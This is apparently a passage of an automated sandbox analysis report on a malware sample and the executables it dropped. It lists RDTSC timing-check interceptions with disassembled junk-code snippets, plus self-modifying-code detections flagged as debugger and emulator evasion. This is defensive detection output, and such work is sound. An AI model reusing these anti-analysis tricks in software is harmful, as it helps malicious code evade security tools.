Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD6D25 second address: BD6DB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F256CC76B68h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 and edi, 3B2F05FCh 0x0000002e push 00000000h 0x00000030 mov edi, dword ptr [ebp+122D1D1Ch] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007F256CC76B68h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 xchg eax, ebx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 jmp 00007F256CC76B76h 0x0000005b ja 00007F256CC76B66h 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD7851 second address: BD7858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD9305 second address: BD930B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD930B second address: BD930F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD930F second address: BD9319 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F256CC76B66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD9319 second address: BD9327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F256CF66DD6h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD9327 second address: BD9336 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD9336 second address: BD933A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDAF5C second address: BDAF82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F256CC76B75h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDB9AF second address: BDB9C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CF66DDFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDB9C3 second address: BDB9D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CC76B6Bh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDB9D2 second address: BDB9E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDB9E0 second address: BDB9E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDB9E4 second address: BDB9FE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F256CF66DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F256CF66DDEh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDC4CC second address: BDC4D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDCFE5 second address: BDCFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDCFE9 second address: BDCFEF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDCFEF second address: BDD021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F256CF66DE1h 0x00000008 jo 00007F256CF66DD6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F256CF66DDAh 0x0000001b popad 0x0000001c pushad 0x0000001d push edi 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: B8D96E second address: B8D993 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F256CC76B6Ah 0x00000008 pop ebx 0x00000009 push esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop esi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F256CC76B6Eh 0x00000017 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: B8D993 second address: B8D99D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F256CF66DD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: B8D99D second address: B8D9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD654C second address: BD6550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDFF01 second address: BDFF05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BDFF05 second address: BDFF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007F256CF66DE7h 0x0000000d nop 0x0000000e mov bx, 5387h 0x00000012 push 00000000h 0x00000014 jl 00007F256CF66DD8h 0x0000001a mov edi, edx 0x0000001c push 00000000h 0x0000001e jmp 00007F256CF66DDAh 0x00000023 push eax 0x00000024 pushad 0x00000025 jng 00007F256CF66DD8h 0x0000002b pushad 0x0000002c popad 0x0000002d pushad 0x0000002e push edx 0x0000002f pop edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD759B second address: BD75AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CC76B6Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD80FF second address: BD8118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CF66DE5h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD75AA second address: BD75C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CC76B74h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BE40E2 second address: BE4143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CF66DDDh 0x00000009 popad 0x0000000a nop 0x0000000b push ebx 0x0000000c call 00007F256CF66DE0h 0x00000011 xor di, B550h 0x00000016 pop edi 0x00000017 pop edi 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b movzx ebx, di 0x0000001e pop ebx 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F256CF66DD8h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 0000001Ah 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b stc 0x0000003c push eax 0x0000003d push edx 0x0000003e js 00007F256CF66DDCh 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BE5F35 second address: BE5FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jbe 00007F256CC76B66h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 jmp 00007F256CC76B71h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F256CC76B68h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 mov ebx, dword ptr [ebp+122D1D5Bh] 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edx 0x0000003f call 00007F256CC76B68h 0x00000044 pop edx 0x00000045 mov dword ptr [esp+04h], edx 0x00000049 add dword ptr [esp+04h], 0000001Ah 0x00000051 inc edx 0x00000052 push edx 0x00000053 ret 0x00000054 pop edx 0x00000055 ret 0x00000056 jmp 00007F256CC76B73h 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push ecx 0x0000005f push edi 0x00000060 pop edi 0x00000061 pop ecx 0x00000062 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BE7EC7 second address: BE7ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BE9031 second address: BE9035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BE9035 second address: BE905E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F256CF66DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F256CF66DE8h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BEAF16 second address: BEAF1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BEAF1C second address: BEAF20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BEAF20 second address: BEAF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F256CC76B68h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 push ecx 0x00000024 mov ebx, dword ptr [ebp+122D3B4Ch] 0x0000002a pop ebx 0x0000002b push 00000000h 0x0000002d jmp 00007F256CC76B74h 0x00000032 push 00000000h 0x00000034 mov edi, ecx 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F256CC76B70h 0x0000003e rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BEBEB6 second address: BEBEBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BEBEBA second address: BEBF34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F256CC76B68h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D2C91h], ebx 0x0000002c push 00000000h 0x0000002e call 00007F256CC76B70h 0x00000033 mov dword ptr [ebp+1245BFAFh], edx 0x00000039 pop edi 0x0000003a mov edi, eax 0x0000003c push 00000000h 0x0000003e or bx, 278Eh 0x00000043 sbb bx, A114h 0x00000048 xchg eax, esi 0x00000049 push eax 0x0000004a push edx 0x0000004b push edi 0x0000004c jmp 00007F256CC76B6Bh 0x00000051 pop edi 0x00000052 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BECF79 second address: BECF82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BECF82 second address: BECF86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BECF86 second address: BED014 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F256CF66DD8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jmp 00007F256CF66DDFh 0x00000029 mov dword ptr [ebp+122D2F09h], esi 0x0000002f push 00000000h 0x00000031 mov di, bx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F256CF66DD8h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 jmp 00007F256CF66DDDh 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F256CF66DE9h 0x0000005d rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BEEF32 second address: BEEF36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BEEF36 second address: BEEFF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F256CF66DE8h 0x0000000c jmp 00007F256CF66DE0h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 jmp 00007F256CF66DDDh 0x0000001a jmp 00007F256CF66DE2h 0x0000001f popad 0x00000020 nop 0x00000021 sub dword ptr [ebp+122D3017h], eax 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+122D1E87h], edx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F256CF66DD8h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c jmp 00007F256CF66DDAh 0x00000051 push eax 0x00000052 pushad 0x00000053 pushad 0x00000054 jmp 00007F256CF66DE6h 0x00000059 jmp 00007F256CF66DDBh 0x0000005e popad 0x0000005f push edi 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BE11F1 second address: BE11FB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F256CC76B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BE11FB second address: BE1205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F256CF66DD6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BE1205 second address: BE1209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BF1F9D second address: BF1FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BF1FA3 second address: BF1FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BE7053 second address: BE7057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BF29E6 second address: BF2A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CC76B72h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F256CC76B74h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BF2A13 second address: BF2A17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BEA072 second address: BEA07C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F256CC76B66h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BEA07C second address: BEA080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BEC0EB second address: BEC0EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BF95C3 second address: BF95CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BF95CA second address: BF95E1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F256CC76B6Fh 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BF95E1 second address: BF95E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: B92B50 second address: B92B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F256CC76B6Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BFFA55 second address: BFFA65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F256CF66DD6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BFFA65 second address: BFFA6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: C049D7 second address: C049DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: C03BDE second address: C03BE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: C03BE2 second address: C03BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: C03BE8 second address: C03C0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B76h 0x00000007 jg 00007F256CC76B6Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11BFC1F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11BFB99 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13645B1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 138B678 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13EC840 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Special instruction interceptor: First address: BC8EE4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Special instruction interceptor: First address: BF2A4A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Special instruction interceptor: First address: A1EF35 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Special instruction interceptor: First address: C58F8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1188EE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11B2A4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FDEF35 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1218F8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 108BBD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 2B6949 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 332546 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Special instruction interceptor: First address: 51FC1F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Special instruction interceptor: First address: 51FB99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Special instruction interceptor: First address: 6C45B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Special instruction interceptor: First address: 6EB678 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Special instruction interceptor: First address: 74C840 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Special instruction interceptor: First address: 37DE14 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Special instruction interceptor: First address: 37DD2E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Special instruction interceptor: First address: 549BBE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Special instruction interceptor: First address: 5BB93D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Special instruction interceptor: First address: 382DB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 62CDC68 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 648EF15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 651440F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 65BFC1F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 65BFB99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 67645B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 678B678 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 67EC840 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Special instruction interceptor: First address: 62D2AF6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Memory allocated: 50C0000 memory reserve \| memory write watch
